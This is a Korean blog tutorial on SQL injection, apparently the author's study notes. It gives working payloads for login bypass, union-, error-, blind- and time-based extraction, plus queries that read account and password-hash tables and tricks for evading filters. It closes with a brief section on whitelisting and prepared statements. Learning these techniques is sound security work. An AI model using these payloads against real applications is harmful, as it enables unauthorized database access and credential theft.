[1]Introduction
SQL Injeciton이란?
SQL injeciton이란 데이터 베이스에 악의적인 쿼리를 삽입하여 데이터 베이스를 조작하는 공격입니다.
-Database란 데이터를 체계화시켜 관리되는 데이터집합입니다.
-SQL은 Structured Query Language 로 관계형 데이터베이스를 관리하기 위해 제작된 언어입니다.
-자세한 SQL 구문과 DB 구성요소는 아래의 링크에 정리해놓았습니다.
*https://x4uiry.tistory.com/16
SQL과 DB
x4uiry.tistory.com
악의적인 쿼리란 무엇이고 어떻게 작동하는 것일까?
예를들어 어떠한 웹 사이트에서 사용자의 입력값을 바로 사용하여 아래와 같은 구문에 삽입하고 Query를 실행한다고 가정하겠습니다.
select id, pw from user where id='{user_id_input}' and 'pw={user_pw_input}';
만약 user table 안에 id와 pw가 사용자의 입력값 user_id_input과 user_pw_input인 데이터가 있다면 id와 pw와 반환 될 것입니다.
즉 원칙적으로 사용자가 입력한 id, pw가 존재해야 로그인이 가능할 것입니다.
mysql을 기준으로 "-- "과 "#" 으로 한 줄 주석처리를 할 수 있습니다.
*아래의 예시에서 언급이 없다면 mysql 기준입니다.
select id, pw from user where id='{user_id_input}';-- and pw='{user_pw_input}';
select id, pw from user where id='{user_id_input}';# and pw='{user_pw_input}';
-즉 위의 구문은 user_id_input의 값이 user table의 id column에 존재한다면 id와 pw를 반환할 것입니다.
-따라서 user_id_input에 id1';-- 를 입력하면 아래와 같은 구문으로 실행됩니다.
select id, pw from user where id='id1';-- ' and pw='{user_pw_input}';
-user_pw_input을 찾는 구문이 사라졌으므로 비밀번호를 몰라도 로그인 할 수 있게 됩니다.
[2]Reconnaissance
Database 별 특징
공격을 하려면 이 데이터베이스가 어떤 DBMS로 관리되고 있는지, 그 버전은 어떤지에 대해서 알고 있어야 합니다.
일반적으로 버전을 알 수 있는 함수를 사용하여, 정보를 대조해보고 DBMS와 버전을 알아냅니다.
버전 함수
#MYSQL
mysql> select @@version;
#MSSQL
> select @@version;
#PostgreSQL
postgres=$ select version();
#SQLite
sqlite> select sqlite_version();
-위의 버전 함수를 substr 또는 mid 등의 함수를 이용해 한 글자씩 대조해보고 참/거짓 반환, 시간 지연을 일으키거나 단순히 에러 메세지를 출력시켜 DBMS를 추측하는 등의 방법을 사용할 수 있습니다.
-또한 DBMS 별로 운용되는 기본 포트 번호가 다르므로 포트 스캐닝을 통해 알아낼 수도 있습니다.
시스템 테이블
DBMS마다 데이터베이스의 설정, 계정, 컬럼, 테이블, DB 등의 정보를 가지고 있는 시스템 테이블이 존재합니다.
[1]Mysql
schema 정보 조회
SELECT TABLE_SCHEMA FROM information_schema.tables group by TABLE_SCHEMA;
schema, table 정보 조회
SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.tables;
DB 이름 확인
select database()
schema, table, column 정보 조회
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM information_schema.columns;
DB를 알고 있을 때, table 이름 조건 검색
select table_name from information_schema.tables where table_schema = '{DB_name}'
Table을 알고 있을 때, column 이름 조건 검색
select column_name from information_schema.columns where table_name = '{table_name}'
실시간 query 실행 정보 조회
SELECT * FROM information_shema.PROCESSLIST;
Mysql 계정 및 실시간 실행 query 조회
SELECT user, current_statement FROM sys.session;
Mysql DBMS 권한 및 계정 정보
SELECT GRANTEE,PRIVILEGE_TYPE,IS_GRANTABLE FROM information_schema.USER_PRIVILEGES;
Mysql DBMS 계정 정보
SELECT User, authentication_string FROM mysql.user;
[2]MS SQL
데이터 베이스 정보 조회
SELECT name FROM master..sysdatabases; #모든 데이터 베이스
SELECT DB_NAME(1); #현재 데이터 베이스
테이블 정보 조회
SELECT name FROM 사용자데이터베이스..sysobjects WHERE xtype = ‘U’; #이용자 정의 테이블
SELECT table_name FROM 사용자데이터베이스.information_schema.tables; #테이블 조회
컬럼 조회
SELECT name FROM syscolumns WHERE id = {SELECT id FROM sysobjects WHERE name = ‘users’); #컬럼 정보 조회
SELECT table_name, column_name FROM 사용자데이터베이스.information_schema.columns; #컬럼 조회
DBMS 계정 정보 조회
SELECT name, password_hash FROM master.sys.sql_logins;
[3]PostgreSQL
schema 정보 조회
postgres=$ select nspname from pg_catalog.pg_namespace;
테이블 정보 조회
postgres=$ select table_name from information_schema.tables where table_schema=‘pg_catalog’;
postgres=$ select table_name from information_schema.tables where table_schema=‘information_schema’;
컬럼 정보
postgres=$ select table_schema, table_name, column_name from information_schema.columns;
DBMS 계정 정보
postgres=$ select name, setting from pg_catalog.pg_settings;
실시간 실행 쿼리
postgres=$ select usename, query from pg_catalog.pg_stat_activity;
테이블 정보
postgres=$ select table_schema, table_name from information_schema.tables;
[4]Oracle
DB 정보
SELECT DISTINCT owner FROM all_tables
SELECT owner, table_name FROM all_tables
컬럼 정보
SELECT column_name FROM all_tab_columns WHERE table_name = ‘users’
DBMS 정보
SELECT * FROM all_users
[5]SQLite
시스템 테이블
sqlite> .header on
sqlite> select * from sqlite_master;
SQL Injection Technique
[1]Bit Search
-ASCII 코드는 알파벳과 숫자를 문자 타입으로 표현하도록 특정 수와 매칭시켜 표현하는 7비트 부호체계입니다.
-많은 SQL Injection 공격의 우회법으로 문자를 입력할 수 없는 경우, ascii 코드 수로 변경하는 'ord' 함수와 이를 이진수로 변경하는 'bin' 함수, 이를 특정 범위로 나누어 출력하는 'substr', 'mid', substring' 을 순서대로 이용하여 비트 하나의 값을 추출하여, 최종적으로 얻으려는 값이 ASCII 코드라면 7비트로 따로 분류해서 복원할 수 있습니다.
select * from user where id='admin' and mid(bin(ord(mid(pw,1,1))),1,1)=0;-- ' and pw='';
-위 구문은 ' and mid(bin(ord(pw)),1,1)=0;-- 를 입력하여, pw의 첫 글자의 첫 비트가 0이라면 결과가 나올 것이고, 1이라면 결과가 나오지 않는다는 것을 이용하는 공격 기법입니다.
[2]이진 탐색
-이미 정렬된 리스트에서 임의의 값을 효율적으로 찾기 위한 알고리즘
-최저값과 최고값을 먼저 정하고 중앙값을 (최고값+최저값) // 2로 정한 후, 공격 페이로드를 '찾는 값의 n은 중앙값보다 큰가(혹은 작은가)?' 로 전송하여 결과에 따라 실패한 값을 알고리즘에 따라 최고값(혹은 최저값)으로 재설정하여 위의 방법으로 다시 중앙값을 설정한 후 공격을 반복합니다.
-단순한 무차별 대입 공격보다 빠르게 값을 찾을 수 있습니다.
flag = 87
def binary_search():
big = 127
small = 0
middle = 0
while(1):
middle = (big + small) // 2
if (middle == flag):
print('success!')
break
elif (middle < flag):
small = middle
elif (middle > flag):
big = middle
[3]SQL Injection
기본적인 공격 방식
위에서 악의적인 쿼리를 설명한 예시처럼 결과가 참이 되게 하여 인증을 우회하는 방식입니다.
Mysql의 경우 '1'='1' 은 참인 True를 반환하는데, "또는"을 의미하는 OR을 앞에 붙이고 single quote(')로 붙여준다면 아래와 같은 구문이 됩니다.
select id, pw from user where id='admin' and pw='' or '1'='1';
논리 연산자 "AND"는 "OR"보다 우선순위를 가져기 때문에 "AND" 연산이 실행되고 "OR" 연산을 실행하므로 True를 반환하여 로그인이 되게 됩니다.
Union SQL Injeciton
대부분의 SQL은 Union이라는 기능을 지원하여 두 개의 검색 쿼리를 합쳐 하나의 결과로 반환합니다.
Union의 제약 조건 중 하나는 검색할 각각의 컬럼의 수가 같아야 한다는 것인데, 이를 이용해 현재 검색되는 컬럼의 수를 파악하거나, 아래와 같이 table과 컬럼을 가져와 출력시키는 등 좀 더 자유로운 공격이 가능해집니다.
select id, pw from user where id='foo' union select 1, database() order by 2# and pw=''
-위와 같이 union 을 삽입하고 컬럼의 수를 맞춰 자신이 원하는 정보를 출력시킵니다.
-위 구문은 database를 조회하고 order by를 이용해 union 구문의 결과를 제일 먼처 출력시키게 한 구문입니다.
-database 조회 뿐 아니라 information_schema 의 tables나 columns도 조회가 가능하며 아래와 같이 자신이 원하는 문자열도 출력이 가능합니다.
select id, pw from user union select 'information', 'infomation2'
Error based SQL Injeciton
Error based SQL Injection이란, SQL 질의 결과와 Error 메세지가 화면에 출력될 때, 이를 이용하여 정보를 추출하는 SQLi 방식입니다.
이때 사용하는 에러는 단순 문법 에러가 아닌, 실행되는 과정에서 발생되는 로직 에러여야 하고, 동시에 SQL에서 발생하는 에러여야 합니다.
extractvalue(xml_fragment, xpath_expression)
-extractvalue 함수는 mysql에서 xml 데이터 안에서 xpath 표현식과 일치하는 데이터를 추출하는 함수인데, 만약 두 번째 인자가 적절하지 않은 인자인 경우 에러가 발생합니다.
extractvalue(1, concat(0x3a,'1'))
-예를 들어 위와 같이 입력한다면, "XPATH syntax error: ';a'"을 출력합니다. 위의 구문에서 concat의 두 인자 ':'과 '1'은 :과 1을 서로 붙이겠다는 의미인데, 두 번째 인자에 해당하는 '1'은 문자열 뿐 아니라 쿼리를 삽입할 수 있고 이 경우 그 결과를 출력하게 됩니다.
-concat에서 앞의 0x3a는 ':'을 뜻하는 것으로 문자열 ':'을 삽입해도 되고, ':' 뿐 아니라 '$', '#', '^', ';' 등을 삽입해도 에러가 발생합니다. 이 중 '$'은 Unknown XPATH variable... 이라고 뜨는 것을 보면 XPATH에서 사용되는 기호는 삽입하면 되는 것으로 추측할 수 있습니다.
-따라서 Concat 첫 번째 인자에 위의 기호를, 두 번째 인자에 원하는 쿼리를 삽입하여 출력된 결과를 얻고 정보를 추출하여 Error based SQLi를 수행할 수 있습니다.
-예를 들어 현재의 database를 추출하기 위해서는 아래와 같은 쿼리문을 작성할 수 있습니다.
select id, pw from user where id='' and extractvalue(1, concat(';',(select database())))#
-SQL Injection 포인트를 찾았다면, 에러를 출력할 함수 extractvalue 함수 등을 이용하여 위의 쿼리처럼 공격 format을 만듭니다.
#Attack Format
#Query: select * from user where id=''
' and extractvalue(1, concat(';',(____QUERY____))) and '1'='1
-위와 같이 공격이 들어갈 부분을 보기 쉽게 비워두고, 공격 구문을 삽입하면 문법 오류로 인한 시간 낭비를 줄일 수 있습니다.
-이후 DB 찾기 -> TABLE 찾기 -> COLUMN 찾기의 순서를 거쳐 정보를 추출합니다.
Blind SQL Injection
Blind SQL Injeciton은 SQL 질의문 결과가 직접 출력되지 않는 로그인 기능등에서 참과 거짓을 분별하여 정보를 추출하는 SQLi 기법입니다.
페이지에서 SQL query 결과를 출력해준다면 굳이 한 글자씩 추출하지 않아도 되지만 대부분의 웹 사이트는 그렇지 않기 때문에 특정한 웹 사이트의 반응을 기준으로 참과 거짓을 나누어 정보를 추출합니다.
-Blind SQL Injection은 SQLi 공격 중 최후의 보루로 쓸 수 있는 방법입니다.
-보통 찾을 정보의 한 글자를 ord나 ascii를 이용해 수로 변환하여, 이진 탐색을 이용한 brute force로 정보를 추출합니다.
#Query: select * from user where id=''
good_man' and ord(substr((select database()),1,1))>{number} and '1'='1'#
-예를 들어 로그인 페이지에서 good_man 이라는 사용자가 존재하고 SQLi가 발생하는 것을 확인했다고 합시다.
-good_man은 존재하기 때문에, good_man' and '1'='1'# 을 입력하면 로그인이 가능하고 "Hello Good_man"이 출력된다고 하면, 중간에 있는 쿼리의 값이 참일 때 로그인이 성공하고, 거짓일 때 로그인에 실패하게 됩니다.
-따라서 로그인이 성공한 값을 하나씩 붙이게 된다면 DB의 이름을 추출할 수 있을 것입니다.
*substr(분리할 문자열, 시작 위치, 가져올 길이)은 문자열을 정한 길이만큼 추출하는 함수
*ord는 문자열을 ascii 코드로 변환해줍니다.
[1]Error Based Blind SQL Injection
-이 공격은 페이지에서 발생하는 에러를 기준으로 참과 거짓을 나누어 정보를 추출합니다.
-예를 들어 "페이로드 -> 맞다면[에러를 발생], 틀렸다면[에러 발생X]" 같이 기준을 정하여 나오는 결과에 따라 참과 거짓을 판단합니다.
#[1]if문 이용
mysql> select * from where id='admin' and pw='' or if(mid(pw,1,1)='a', 9e307*2, 0)-- ;';
#만약 pw의 첫글자가 'a'라면 에러가 발생, 아니라면 0을 반환
#[2]or 이용
mysql> select * from where id='admin' and pw='' or mid(pw,1,1)='a' or 9e307*2-- ;';
#만약 pw의 첫글자가 'a'라면 에러가 발생하지 않음
#[3]and 이용
mysql> select * fromo where id='admin' and pw='' or mid(pw,1,1)='a' and 9e307*2-- ;';
#만약 pw의 첫글자가 'a'라면 에러가 발생
[2]Time Based Blind SQL Injection
-위의 공격 방식의 기준을 시간 지연으로 대체한 공격 방식으로, 에러에 대한 정보를 나타내주지 않는 경우 사용할 수 있습니다.
-시간 지연 기능 함수: sleep(5), Benchmark(40000000,SHA(1))
-헤비쿼리: SELECT count(*) from information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
[4]Advanced
OR과 AND를 쓸 수 없다면..
or 과 and는 single quote 처럼 공격할 때 꼭 필요한 요소 중 하나입니다.
or은 ||, and는 &&으로도 표현할 수 있으므로 "or"과 "and"만 막혔다면 "||"과 "&&" 으로 이를 우회할 수 있습니다.
Regex와 와일드 카드
Mysql의 경우 와일드 카드와 regex를 지원합니다.
만약 mid, substr, substring 등이 막혔다면 이를 활용해 봅시다.
regex: {column} regexp ‘{value}.*'
wildcard: {column} like '{value}'
#wildcard의 경우 %은 문자의 전체, _은 문자의 한 글자를 대체할 수 있습니다.
#like 'a%' -> a로 시작하는 모든 문자열 검색
#like '%a' -> a로 끝나는 모든 문자열 검색
#like '%a%' -> a가 들어가는 모든 문자열 검색
#like '_ab' -> cab나 eba처럼 3글자이면서 뒤가 ab로 구성되어 있는 문자열 검색
\n으로 bypass
문제 중에 2개의 입력값을 받으면서 첫 번째 입력값은 길이 제한을, 두 번째 입력값은 타입 제한을 걸어두는 경우가 있습니다
첫 번째 입력값에 비교문+한 줄 주석으로 두 번째 입력값을 무효화하고, 두 번째 입력값에 \n 을 먼저 삽입하고 값을 넣으면, 다음줄로 두 번째 입력값이 넘어가서 비교문+두 번째 입력값으로 합쳐 사용할 수 있습니다.
case when
case when {조건} then 9e307*2 else 0 end # 처럼 사용하여 Erorr based injection이나 Time based injection이 가능합니다.
이는 order by 절 뒤에 오게되는데 이 order by 절은 SQL Injection 가능성에 대해 생각을 하지 않는 경우가 많아서 공격이 많이 발생할 수 있습니다.
예를 들어 sort라는 파라미터로 값을 받고 있다면,
sort: case when (__condition__)=value then 1 else (__condition2__) end
-다음과 같이 작성하여 condition의 값이 value 라면 1 아니라면 condition2가 나오게 하여 Blind SQL Injection을 수행할 수 있습니다.
Error occurrence
SQL Injection은 가능하나, 참과 거짓을 판별할 어떠한 기준이 있어야 Blind SQL Injection이 가능한 경우, 또한 value' and '1'='1 과 value' and '1'='2 의 결과가 같게 나와 판별한 기준이 없는 경우 등.
input: value' and (select 1 union select 2 where (__condition__)) and '1'='1
-위 구문은 where 절에 갑자기 union을 이용해 특정 부분에서 컬럼을 union하므로 에러가 발생하게 됩니다.
-위 구문을 사용했을때 에러가 발생한다면 이를 이용하여 __condition__에 참과 거짓을 판별할 조건을 넣고 Blind SQL Injection을 수행할 수 있습니다.
[5]How to protect...
white list filtering
필터링은 두 가지 종류가 있습니다.
블랙리스트 필터링: 특정 단어를 필터링 합니다.
화이트리스트 필터링: 특정 단어만 사용할 수 있도록 필터링합니다.
-예를 들어서 order by 절 뒤에 오는 데이터 A에 입력값을 삽입한다면, 조건문을 사용하여 입력되는 값을 제한할 수 있습니다.
...
A = {input};
if (A=="author"){
...
}
elif (A=="title"){
...
}
else{
A="number"
...
}
...
prepare statement
prepare statement는 입력값을 직접 받아 컴파일 후 실행시키는 구조가 아닌, 입력값을 제외한 다른 부분을 미리 컴파일하여 기계어로 만들어 놓고, 입력값만 따로 받아 붙여 실행하는 구조입니다.
$stmt = $mysql->prepare("SELECT * FROM users WHERE username = ?");
재밌는 점은 이 방법이 보안을 위해 나온 것이 아니라 실행 속도를 빠르게 하기 위해서 나왔다는 것입니다.
*https://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php
PHP: Prepared Statements - Manual
query("DROP TABLE IF EXISTS test");$mysqli->query("CREATE TABLE test(id INT, label TEXT)");/* Prepared statement, stage 1: prepare */$stmt = $mysqli->prepare("INSERT INTO test(id, label) VALUES (?, ?)");/* Prepared statement, stage 2: bind and execute */$s
www.php.net
'knowledge > web' 카테고리의 다른 글
NO-SQL Injection (1) | 2024.12.14 |
---|---|
Athentication&Athorization Vulnerability (0) | 2024.08.01 |
File vulnerability (0) | 2024.07.29 |
Cross-Site-Script (0) | 2024.06.13 |
Solar, exploiting log4j - Tryhackme (0) | 2024.04.29 |